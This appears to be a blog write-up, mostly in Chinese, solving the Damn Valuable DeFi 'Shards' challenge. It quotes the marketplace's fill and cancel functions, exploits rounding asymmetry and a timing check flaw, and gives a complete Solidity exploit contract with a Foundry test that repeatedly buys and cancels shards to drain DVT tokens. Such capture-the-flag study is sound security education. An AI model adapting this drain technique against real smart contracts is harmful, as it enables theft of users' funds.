The Shards NFT marketplace is a permissionless smart contract enabling holders of Damn Valuable NFTs to sell them at any price (expressed in USDC).
These NFTs could be so damn valuable that sellers can offer them in smaller fractions (“shards”). Buyers can buy these shards, represented by an ERC1155 token. The marketplace only pays the seller once the whole NFT is sold.
The marketplace charges sellers a 1% fee in Damn Valuable Tokens (DVT). These can be stored in a secure on-chain vault, which in turn integrates with a DVT staking system.
Somebody is selling one NFT for… wow, a million USDC?
You better dig into that marketplace before the degens find out.
You start with no DVTs. Rescue as much funds as you can in a single transaction, and deposit the assets into the designated recovery account.
按照題目的意思,我們這題要盡量在一筆交易中達成我們的目的,經過簡單的分析,我們需要將 ShardsNFTMarketplace
合約中的大部分 DVT 代幣轉移到 recovery 帳戶中,為了達成這個目的,我們可能可以在 ShardsNFTMarketplace
合約中的 cancel
、_cancel
以及 feeVault
三個 function 中達成我們的目的
我們可以先研究一下交易的機制,其中 fill 這個 function 有一些有趣的地方
function fill(uint64 offerId, uint256 want) external returns (uint256 purchaseIndex) {
Offer storage offer = offers[offerId];
if (want == 0) revert BadAmount();
if (offer.price == 0) revert UnknownOffer();
if (want > offer.stock) revert OutOfStock();
if (!offer.isOpen) revert NotOpened(offerId);
offer.stock -= want;
purchaseIndex = purchases[offerId].length;
uint256 _currentRate = rate;
purchases[offerId].push(
Purchase({
shards: want,
rate: _currentRate,
buyer: msg.sender,
timestamp: uint64(block.timestamp),
cancelled: false
})
);
paymentToken.transferFrom(
msg.sender, address(this), want.mulDivDown(_toDVT(offer.price, _currentRate), offer.totalShards)
);
if (offer.stock == 0) _closeOffer(offerId);
}
可以看到 offer.totalShards
非常大,就算其中的 want
不為 0 的情況下,使用 mulDivDown
一樣會向下取整數,意思就是我們可以在不支付 DVT 的狀況下帶走少量的 NFT 碎片
接著就是剛剛提到的轉移手法,上面的三個 function 中的 cancel
會是最有希望的
function cancel(uint64 offerId, uint256 purchaseIndex) external {
Offer storage offer = offers[offerId];
Purchase storage purchase = purchases[offerId][purchaseIndex];
address buyer = purchase.buyer;
if (msg.sender != buyer) revert NotAllowed();
if (!offer.isOpen) revert NotOpened(offerId);
if (purchase.cancelled) revert AlreadyCancelled();
if (
purchase.timestamp + CANCEL_PERIOD_LENGTH < block.timestamp
|| block.timestamp > purchase.timestamp + TIME_BEFORE_CANCEL
) revert BadTime();
offer.stock += purchase.shards;
assert(offer.stock <= offer.totalShards); // invariant
purchase.cancelled = true;
emit Cancelled(offerId, purchaseIndex);
paymentToken.transfer(buyer, purchase.shards.mulDivUp(purchase.rate, 1e6));
}
因為其擁有一些關於時間邏輯上的漏洞,我們可以利用的方式是在購買後取消購買,但是退款機制中的 mulDivUp
會向上取整,所以可以利用取消購買來刷出額外的 DVT
我們會用到 FixedPointMathLib.sol
攻擊合約
contract ShardsExploit {
using FixedPointMathLib for uint256;
ShardsNFTMarketplace public marketplace;
DamnValuableToken public token;
address public recovery;
uint256 public constant MARKETPLACE_INITIAL_RATE = 75e15;
uint112 public constant NFT_OFFER_PRICE = 1_000_000e6;
uint112 public constant NFT_OFFER_SHARDS = 10_000_000e18;
// 构造函数,初始化 marketplace, token 和 recovery 地址
constructor(ShardsNFTMarketplace _marketplace, DamnValuableToken _token, address _recovery) {
marketplace = _marketplace;
token = _token;
recovery = _recovery;
}
// 發起攻擊,重複填充並取消 shards,然後轉移代幣到 recovery 地址
function attack(uint64 offerId) external {
uint256 wantShards = 100; // 預定購買的碎片數量
// 重複執行購買和取消操作,模擬攻擊
for (uint256 i = 0; i < 10001; i++) {
marketplace.fill(offerId, wantShards); // 填充 offer
marketplace.cancel(1, i); // 取消交易
}
// 將所有 DVT 代幣轉移到 recovery 地址
token.transfer(recovery, token.balanceOf(address(this)));
}
// 根據需求返回可以購買的最大碎片數量
function getMaxWant(uint256 want) public pure returns (uint256) {
return want.mulDivDown(_toDVT(NFT_OFFER_PRICE, MARKETPLACE_INITIAL_RATE), NFT_OFFER_SHARDS);
}
// 計算根據給定 want 可以獲得的 DVT 數量
function getDVT(uint256 want) public pure returns (uint256) {
return want.mulDivUp(MARKETPLACE_INITIAL_RATE, 1e6);
}
// 將價格轉換為 DVT 數量的輔助函數
function _toDVT(uint256 _value, uint256 _rate) private pure returns (uint256) {
return _value.mulDivDown(_rate, 1e6);
}
}
測試 function
function test_shards() public checkSolvedByPlayer {
// 部署攻擊合約
ShardsExploit exploit = new ShardsExploit(marketplace, token, recovery);
// 尋找最大購買量
for (uint256 i = 0; i < 500; i++) {
uint256 shards = exploit.getMaxWant(i);
if (shards > 0) {
console.log("want:", i - 1);
break;
}
}
// 打印可獲取的 DVT 數量
console.log("Get DVT:", exploit.getDVT(100));
// 發起攻擊,使用 offerId 1
exploit.attack(1);
}
每日梗圖(1/1)
好久沒有颱風假放兩天了,結果🌀還在慢慢晃